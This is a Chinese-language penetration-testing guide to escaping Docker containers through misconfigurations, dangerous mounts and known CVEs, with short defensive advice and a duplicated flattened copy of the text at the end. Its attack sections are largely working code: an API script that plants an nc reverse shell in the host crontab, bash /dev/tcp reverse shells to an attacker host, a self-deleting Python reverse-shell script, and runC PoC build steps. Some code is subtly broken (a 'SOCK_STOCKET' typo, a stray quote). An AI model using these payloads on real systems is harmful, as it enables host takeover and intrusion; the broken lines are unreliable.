渗透测试之Docker逃逸
字数 1690 2025-08-19 12:42:14

Docker逃逸技术全面指南

一、Docker环境检测

在渗透测试中,判断当前环境是否为Docker容器是逃逸的前提条件。以下是几种有效的检测方法:

  1. 文件检测法

    • 检查根目录下是否存在.dockerenv文件
    • 检查/proc/1/cgroup文件中是否包含"docker"字符串
  2. 环境变量检测

    • 检查是否存在container环境变量
    • 检查PATH环境变量中是否有docker相关路径
  3. 其他辅助检测方法

    • 使用mount命令查看挂载信息
    • 使用fdisk -l查看硬盘信息
    • 检查PID 1的进程名是否为容器特有进程

Metasploit中可以使用checkcontainer模块进行自动化检测(虚拟机检测使用checkvm模块)。

二、Docker逃逸技术分类

1. 危险配置导致的逃逸

(1) Docker Remote API未授权访问

利用条件

  • Docker Remote API(2375端口)暴露且未授权

利用方法

  1. 通过API启动一个容器,挂载宿主机/etc目录
  2. 写入crontab计划任务实现反弹shell

示例代码

import docker
client = docker.DockerClient(base_url='http://target-ip:2375/')
data = client.containers.run('alpine:latest', 
    r'''sh -c "echo usr/bin/nc attacker-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root"''',
    remove=True,
    volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

(2) 特权模式(--privileged)逃逸

利用条件

  • 容器以--privileged参数启动

利用步骤

  1. 查看磁盘设备:fdisk -l
  2. 创建挂载点:mkdir /test
  3. 挂载宿主机磁盘:mount /dev/vda1 /test
  4. 切换根目录:chroot /test

后续利用

  • 写入计划任务反弹shell:
    echo 'bash -i >& /dev/tcp/attacker-ip/port 0>&1' >> /test/var/spool/cron/crontabs/root
    
  • 写入SSH公钥:
    mkdir /root/.ssh
    cat id_rsa.pub >> /root/.ssh/authorized_keys
    

(3) 其他危险参数

  • --cap-add=SYS_ADMIN:允许执行mount特权操作
  • --net=host:绕过Network Namespace
  • --pid=host:绕过PID Namespace
  • --ipc=host:绕过IPC Namespace

2. 危险挂载导致的逃逸

(1) 挂载Docker Socket

利用条件

  • /var/run/docker.sock被挂载到容器中

利用步骤

  1. 在容器内安装Docker客户端
  2. 通过socket与宿主机Docker守护进程通信
  3. 创建新容器并挂载宿主机根目录
  4. 使用chroot切换根目录

(2) 挂载宿主机procfs

利用条件

  • 宿主机/proc目录被挂载到容器中
  • 容器有root权限且未开启User Namespace

利用方法(core_pattern利用)

  1. 创建反弹shell脚本/tmp/.x.py
import os
import pty
import socket

lhost = "attacker-ip"
lport = 10000

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STOCKET)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", "/dev/null")
    pty.spawn("/bin/bash")
    os.remove("/tmp/.x.py")
    s.close()

if __name__ == "__main__":
    main()
  1. 获取容器在宿主机上的绝对路径:
cat /proc/mounts | grep docker
  1. 修改core_pattern:
echo -e "|/var/lib/docker/overlay2/[容器ID]/merged/tmp/.x.py \rcore " > /host/proc/sys/kernel/core_pattern
  1. 触发崩溃程序:
int main(void) {int *a = NULL; *a = 1; return 0;}

3. 程序漏洞导致的逃逸

(1) runC容器逃逸漏洞(CVE-2019-5736)

影响版本

  • Docker < 18.09.2
  • runC < 1.0-rc6

利用步骤

  1. 下载PoC:
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
  1. 修改Payload:
payload = "#!/bin/bash \n bash -i >& /dev/tcp/attacker-ip/port 0>&1"
  1. 编译并拷贝到容器:
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
docker cp ./main container-id:/tmp
  1. 等待管理员进入容器触发漏洞

(2) Docker cp命令漏洞(CVE-2019-14271)

影响版本

  • Docker 19.03.0

利用原理

  • 通过替换容器中的libnss.so库注入恶意代码
  • 当执行docker cp命令时触发

(3) 内核漏洞利用(Dirty Cow)

利用条件

  • 宿主机内核存在漏洞(如CVE-2016-5195)
  • 容器与宿主机共享内核

利用方法

git clone https://github.com/gebl/dirtycow-docker-vdso.git

三、防御建议

  1. 最小权限原则

    • 避免使用--privileged参数
    • 限制容器capabilities
    • 启用User Namespace
  2. 安全配置

    • 禁止Docker Remote API未授权访问
    • 避免挂载敏感目录(/proc, /var/run/docker.sock等)
  3. 及时更新

    • 保持Docker和宿主机内核版本最新
    • 及时修复已知漏洞
  4. 安全审计

    • 定期检查容器配置
    • 监控异常行为

四、参考资料

  1. Docker官方文档
  2. CVE-2019-5736 PoC
  3. DirtyCow Docker逃逸
  4. 容器安全最佳实践
Docker逃逸技术全面指南 一、Docker环境检测 在渗透测试中,判断当前环境是否为Docker容器是逃逸的前提条件。以下是几种有效的检测方法: 文件检测法 : 检查根目录下是否存在 .dockerenv 文件 检查 /proc/1/cgroup 文件中是否包含"docker"字符串 环境变量检测 : 检查是否存在 container 环境变量 检查 PATH 环境变量中是否有docker相关路径 其他辅助检测方法 : 使用 mount 命令查看挂载信息 使用 fdisk -l 查看硬盘信息 检查PID 1的进程名是否为容器特有进程 Metasploit中可以使用 checkcontainer 模块进行自动化检测(虚拟机检测使用 checkvm 模块)。 二、Docker逃逸技术分类 1. 危险配置导致的逃逸 (1) Docker Remote API未授权访问 利用条件 : Docker Remote API(2375端口)暴露且未授权 利用方法 : 通过API启动一个容器,挂载宿主机 /etc 目录 写入crontab计划任务实现反弹shell 示例代码 : (2) 特权模式(--privileged)逃逸 利用条件 : 容器以 --privileged 参数启动 利用步骤 : 查看磁盘设备: fdisk -l 创建挂载点: mkdir /test 挂载宿主机磁盘: mount /dev/vda1 /test 切换根目录: chroot /test 后续利用 : 写入计划任务反弹shell: 写入SSH公钥: (3) 其他危险参数 --cap-add=SYS_ADMIN :允许执行mount特权操作 --net=host :绕过Network Namespace --pid=host :绕过PID Namespace --ipc=host :绕过IPC Namespace 2. 危险挂载导致的逃逸 (1) 挂载Docker Socket 利用条件 : /var/run/docker.sock 被挂载到容器中 利用步骤 : 在容器内安装Docker客户端 通过socket与宿主机Docker守护进程通信 创建新容器并挂载宿主机根目录 使用 chroot 切换根目录 (2) 挂载宿主机procfs 利用条件 : 宿主机 /proc 目录被挂载到容器中 容器有root权限且未开启User Namespace 利用方法(core_ pattern利用) : 创建反弹shell脚本 /tmp/.x.py : 获取容器在宿主机上的绝对路径: 修改core_ pattern: 触发崩溃程序: 3. 程序漏洞导致的逃逸 (1) runC容器逃逸漏洞(CVE-2019-5736) 影响版本 : Docker < 18.09.2 runC < 1.0-rc6 利用步骤 : 下载PoC: 修改Payload: 编译并拷贝到容器: 等待管理员进入容器触发漏洞 (2) Docker cp命令漏洞(CVE-2019-14271) 影响版本 : Docker 19.03.0 利用原理 : 通过替换容器中的libnss.so库注入恶意代码 当执行 docker cp 命令时触发 (3) 内核漏洞利用(Dirty Cow) 利用条件 : 宿主机内核存在漏洞(如CVE-2016-5195) 容器与宿主机共享内核 利用方法 : 三、防御建议 最小权限原则 : 避免使用 --privileged 参数 限制容器capabilities 启用User Namespace 安全配置 : 禁止Docker Remote API未授权访问 避免挂载敏感目录(/proc, /var/run/docker.sock等) 及时更新 : 保持Docker和宿主机内核版本最新 及时修复已知漏洞 安全审计 : 定期检查容器配置 监控异常行为 四、参考资料 Docker官方文档 CVE-2019-5736 PoC DirtyCow Docker逃逸 容器安全最佳实践